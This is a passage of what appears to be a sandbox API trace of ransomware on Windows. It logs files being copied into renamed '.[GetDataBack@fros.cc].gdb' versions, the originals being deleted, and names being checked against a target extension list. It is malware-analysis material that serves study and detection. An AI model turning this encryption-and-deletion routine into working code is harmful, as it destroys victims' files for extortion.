"c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0123.957] GetLastError () returned 0x0 [0123.957] ReadFile (in: hFile=0x1ec, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x7fc, lpOverlapped=0x0) returned 1 [0123.959] WriteFile (in: hFile=0x1cc, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x800, lpOverlapped=0x0) returned 1 [0123.960] ReadFile (in: hFile=0x1ec, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0123.960] WriteFile (in: hFile=0x1cc, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xea, lpOverlapped=0x0) returned 1 [0123.960] SetEndOfFile (hFile=0x1cc) returned 1 [0123.960] CloseHandle (hObject=0x1cc) returned 1 [0123.961] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0123.961] SetEndOfFile (hFile=0x1ec) returned 1 [0123.962] CloseHandle (hObject=0x1ec) returned 1 [0123.962] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0123.962] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 1 [0123.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0123.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0123.963] lstrlenW (lpString=".doc") returned 4 [0123.963] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0123.963] lstrlenW (lpString=".docx") returned 5 [0123.963] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0123.963] lstrlenW (lpString=".pdf") returned 4 [0123.963] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0123.963] lstrlenW (lpString=".xls") returned 4 [0123.963] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0123.963] lstrlenW (lpString=".xlsx") returned 5 [0123.963] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0123.963] lstrlenW (lpString=".ppt") returned 4 [0123.963] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0123.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0123.963] lstrlenW (lpString=".zip") returned 4 [0123.963] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0123.963] lstrlenW (lpString=".rar") returned 4 [0123.963] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0123.963] lstrlenW (lpString=".bz2") returned 4 [0123.963] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0123.964] lstrlenW (lpString=".7z") returned 3 [0123.964] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0123.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0123.964] lstrlenW (lpString=".dbf") returned 4 [0123.964] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0123.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0123.964] lstrlenW (lpString=".1cd") returned 4 [0123.964] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0123.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0123.964] lstrlenW (lpString=".jpg") returned 4 [0123.964] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0123.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0123.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0123.964] lstrlenW (lpString=".doc") returned 4 [0123.964] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0123.964] lstrlenW (lpString=".docx") returned 5 [0123.964] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0123.964] lstrlenW (lpString=".pdf") returned 4 [0123.964] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0123.964] lstrlenW (lpString=".xls") returned 4 [0123.964] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0123.964] lstrlenW (lpString=".xlsx") returned 5 [0123.964] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0123.964] lstrlenW (lpString=".ppt") returned 4 [0123.964] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0123.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0123.964] lstrlenW (lpString=".zip") returned 4 [0123.964] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0123.964] lstrlenW (lpString=".rar") returned 4 [0123.964] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0123.964] lstrlenW (lpString=".bz2") returned 4 [0123.964] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0123.965] lstrlenW (lpString=".7z") returned 3 [0123.965] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0123.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0123.965] lstrlenW (lpString=".dbf") returned 4 [0123.965] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0123.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0123.965] lstrlenW (lpString=".1cd") returned 4 [0123.965] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0123.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0123.965] lstrlenW (lpString=".jpg") returned 4 [0123.965] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0123.965] lstrcmpiW (lpString1=".PNG", lpString2=".gdb") returned 1 [0123.965] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0123.965] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0123.965] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=29925) returned 1 [0123.965] CloseHandle (hObject=0x1ec) returned 1 [0123.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 0x20 [0123.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0123.966] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0123.966] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0123.966] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0123.966] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0123.966] GetLastError () returned 0x0 [0123.966] ReadFile (in: hFile=0x1ec, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x74e5, lpOverlapped=0x0) returned 1 [0124.281] WriteFile (in: hFile=0x1cc, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x74f0, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x74f0, lpOverlapped=0x0) returned 1 [0124.283] ReadFile (in: hFile=0x1ec, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0124.283] WriteFile (in: hFile=0x1cc, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xec, lpOverlapped=0x0) returned 1 [0124.283] SetEndOfFile (hFile=0x1cc) returned 1 [0124.283] CloseHandle (hObject=0x1cc) returned 1 [0124.284] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0124.284] SetEndOfFile (hFile=0x1ec) returned 1 [0124.285] CloseHandle (hObject=0x1ec) returned 1 [0124.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0124.286] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 1 [0124.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0124.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0124.286] lstrlenW (lpString=".doc") returned 4 [0124.286] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0124.286] lstrlenW (lpString=".docx") returned 5 [0124.286] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0124.286] lstrlenW (lpString=".pdf") returned 4 [0124.286] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0124.286] lstrlenW (lpString=".xls") returned 4 [0124.286] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0124.286] lstrlenW (lpString=".xlsx") returned 5 [0124.286] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0124.286] lstrlenW (lpString=".ppt") returned 4 [0124.286] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0124.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0124.286] lstrlenW (lpString=".zip") returned 4 [0124.286] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0124.286] lstrlenW (lpString=".rar") returned 4 [0124.286] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0124.286] lstrlenW (lpString=".bz2") returned 4 [0124.286] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0124.286] lstrlenW (lpString=".7z") returned 3 [0124.286] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0124.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0124.286] lstrlenW (lpString=".dbf") returned 4 [0124.286] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0124.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0124.286] lstrlenW (lpString=".1cd") returned 4 [0124.286] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0124.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0124.286] lstrlenW (lpString=".jpg") returned 4 [0124.287] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0124.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0124.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0124.287] lstrlenW (lpString=".doc") returned 4 [0124.287] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0124.287] lstrlenW (lpString=".docx") returned 5 [0124.287] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0124.287] lstrlenW (lpString=".pdf") returned 4 [0124.287] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0124.287] lstrlenW (lpString=".xls") returned 4 [0124.287] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0124.287] lstrlenW (lpString=".xlsx") returned 5 [0124.287] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0124.287] lstrlenW (lpString=".ppt") returned 4 [0124.287] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0124.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0124.287] lstrlenW (lpString=".zip") returned 4 [0124.287] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0124.287] lstrlenW (lpString=".rar") returned 4 [0124.287] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0124.288] lstrlenW (lpString=".bz2") returned 4 [0124.288] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0124.288] lstrlenW (lpString=".7z") returned 3 [0124.288] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0124.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0124.288] lstrlenW (lpString=".dbf") returned 4 [0124.288] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0124.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0124.288] lstrlenW (lpString=".1cd") returned 4 [0124.288] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0124.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0124.288] lstrlenW (lpString=".jpg") returned 4 [0124.288] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0124.288] lstrcmpiW (lpString1=".GIF", lpString2=".gdb") returned 1 [0124.288] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0124.288] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0124.289] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=3957) returned 1 [0124.289] CloseHandle (hObject=0x1ec) returned 1 [0124.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif")) returned 0x20 [0124.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0124.289] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0124.289] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0124.289] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0124.289] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0125.376] GetLastError () returned 0x0 [0125.376] ReadFile (in: hFile=0x1ec, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0xf75, lpOverlapped=0x0) returned 1 [0125.377] WriteFile (in: hFile=0x204, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xf80, lpOverlapped=0x0) returned 1 [0125.378] ReadFile (in: hFile=0x1ec, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0125.378] WriteFile (in: hFile=0x204, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xea, lpOverlapped=0x0) returned 1 [0125.378] SetEndOfFile (hFile=0x204) returned 1 [0125.379] CloseHandle (hObject=0x204) returned 1 [0125.379] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0125.379] SetEndOfFile (hFile=0x1ec) returned 1 [0125.379] CloseHandle (hObject=0x1ec) returned 1 [0125.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0125.380] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif")) returned 1 [0125.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0125.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0125.380] lstrlenW (lpString=".doc") returned 4 [0125.380] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0125.380] lstrlenW (lpString=".docx") returned 5 [0125.380] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0125.380] lstrlenW (lpString=".pdf") returned 4 [0125.380] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0125.380] lstrlenW (lpString=".xls") returned 4 [0125.380] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0125.380] lstrlenW (lpString=".xlsx") returned 5 [0125.380] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0125.380] lstrlenW (lpString=".ppt") returned 4 [0125.380] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0125.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0125.380] lstrlenW (lpString=".zip") returned 4 [0125.380] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0125.380] lstrlenW (lpString=".rar") returned 4 [0125.380] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0125.380] lstrlenW (lpString=".bz2") returned 4 [0125.380] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0125.380] lstrlenW (lpString=".7z") returned 3 [0125.380] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0125.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0125.380] lstrlenW (lpString=".dbf") returned 4 [0125.380] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0125.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0125.381] lstrlenW (lpString=".1cd") returned 4 [0125.381] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0125.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0125.381] lstrlenW (lpString=".jpg") returned 4 [0125.381] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0125.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0125.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0125.381] lstrlenW (lpString=".doc") returned 4 [0125.381] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0125.381] lstrlenW (lpString=".docx") returned 5 [0125.381] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0125.381] lstrlenW (lpString=".pdf") returned 4 [0125.381] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0125.381] lstrlenW (lpString=".xls") returned 4 [0125.381] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0125.381] lstrlenW (lpString=".xlsx") returned 5 [0125.381] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0125.381] lstrlenW (lpString=".ppt") returned 4 [0125.381] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0125.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0125.381] lstrlenW (lpString=".zip") returned 4 [0125.381] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0125.381] lstrlenW (lpString=".rar") returned 4 [0125.381] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0125.381] lstrlenW (lpString=".bz2") returned 4 [0125.381] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0125.381] lstrlenW (lpString=".7z") returned 3 [0125.381] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0125.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0125.381] lstrlenW (lpString=".dbf") returned 4 [0125.381] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0125.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0125.381] lstrlenW (lpString=".1cd") returned 4 [0125.381] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0125.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0125.381] lstrlenW (lpString=".jpg") returned 4 [0125.381] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0125.382] lstrcmpiW (lpString1=".GIF", lpString2=".gdb") returned 1 [0125.382] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0125.382] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0125.382] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=2476) returned 1 [0125.382] CloseHandle (hObject=0x1ec) returned 1 [0125.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif")) returned 0x20 [0125.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0125.382] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0125.383] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0125.383] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, 